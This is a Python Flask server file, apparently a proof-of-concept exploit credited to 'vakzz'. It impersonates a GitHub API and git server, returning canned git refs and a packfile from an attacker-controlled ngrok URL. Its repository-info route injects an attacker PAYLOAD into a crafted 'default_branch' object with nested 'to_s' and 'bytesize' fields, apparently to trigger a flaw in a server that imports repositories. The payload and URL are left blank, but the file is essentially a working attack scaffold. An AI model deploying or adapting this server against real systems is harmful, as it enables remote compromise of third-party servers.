-
Notifications
You must be signed in to change notification settings - Fork 37
/
Copy pathserver.py
92 lines (73 loc) · 4.13 KB
/
server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from flask import Flask, request, Response, send_file, jsonify
import requests
import json
# Made by vakzz
HTTP_METHODS = [
"GET",
"HEAD",
"POST",
"PUT",
"DELETE",
"CONNECT",
"OPTIONS",
"TRACE",
"PATCH",
]
app = Flask(__name__)
# NOTE: Update these 2 variables
PAYLOAD = ''
NGROK_URL = ''
REPO_JSON = {
"id": 12345,
"name": "fake",
"full_name": "fake/name",
"clone_url": NGROK_URL + "/vakzz/public.git",
}
@app.route("/vakzz/public.git/info/refs")
def git_refs():
return (
b"001e# service=git-upload-pack\n00000154b5e17b851383bcee012364d0df7b67a3c4797b73 HEAD\x00multi_ack thin-pack side-band side-band-64k ofs-delta shallow deepen-since deepen-not deepen-relative no-progress include-tag multi_ack_detailed allow-tip-sha1-in-want allow-reachable-sha1-in-want no-done symref=HEAD:refs/heads/main filter object-format=sha1 agent=git/github-g04ce7e352669\n003db5e17b851383bcee012364d0df7b67a3c4797b73 refs/heads/main\n0000",
200,
{"Content-Type": "application/x-git-upload-pack-advertisement"},
)
@app.route("/vakzz/public.git/git-upload-pack", methods=["POST"])
def git_pack():
return (
b'0008NAK\n0023\x02Enumerating objects: 3, done.\n0022\x02Counting objects: 33% (1/3)\r0022\x02Counting objects: 66% (2/3)\r0022\x02Counting objects: 100% (3/3)\r0029\x02Counting objects: 100% (3/3), done.\n0265\x01PACK\x00\x00\x00\x02\x00\x00\x00\x03\x9a(x\x9cmR\xcbn\xa3@\x00\xbb\xf3\x15sG\xdb0\xbc\x91\xdaUg(\x05\xb6\xc9\x00i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xd8\x94}{%\xfd\xee\xfdP\xdd\xed\xac\xfe\xea\x80\xcd\x8b\xcb\xb7y\xbd\xf3\xb2\xaaQ\xd8@\xf8\xed\xac+\x92_F\xd2^v\x9c\xd4\x14\xca"\xac?\xae\x9b;I\xf9\xd5|K$\xcd\xec^\xc6\xc0\tm\xabFO\x1cx\xf2\x02\xe9\x95\xfb\xde\xcc"/?/\xc6\xb9\r\x1bY\\\x81\xefc\xfc\x05\xc7\xd4\xcb\x13\xa5\x02x\x9c340031Q\x08rut\xf1u\xd5\xcbMa8\x96\x983g{\xab\xdfn\x86\xe6\xe7\xc2\xd9fo\x9f~\x7f\x94\xe5\x04\x00\xe1!\x0e\xe6=x\x9cSV((M\xca\xc9L\xe6JLL\xe4\x02\x00\x1c^\x03\xfa\xd2_\xcc\xa1\xa6\x81\xa3\xb6\xeeSL\x96\t\x0c\xb4\xf8\xb7>\xa90006\x01\xf8003a\x02Total 3 (delta 0), reused 0 (delta 0), pack-reused 0\n0000',
200,
{"Content-Type": "application/x-git-upload-pack-result"},
)
@app.before_request
def log_request():
app.logger.debug("Request Path %s", request.path)
app.logger.debug("Request Data %s", request.data)
return None
@app.route("/repositories/12345")
def repo():
return jsonify(REPO_JSON)
@app.route("/api/v3/repositories/12345")
def repo_legacy():
return jsonify(REPO_JSON)
@app.route("/api/v3/repos/fake/name")
def repo_info():
return jsonify(
{
"default_branch": {
"to_s": {
"to_s": PAYLOAD,
"bytesize": 3,
}
}
}
)
@app.route("/api/v3/rate_limit")
def rate_limit():
return (
jsonify({}),
200,
{"X-RateLimit-Limit": "100000", "X-RateLimit-Remaining": "100000"},
)
@app.route("/", defaults={"path": ""}, methods=HTTP_METHODS)
@app.route("/<path:path>", methods=HTTP_METHODS)
def proxy(path):
return jsonify({})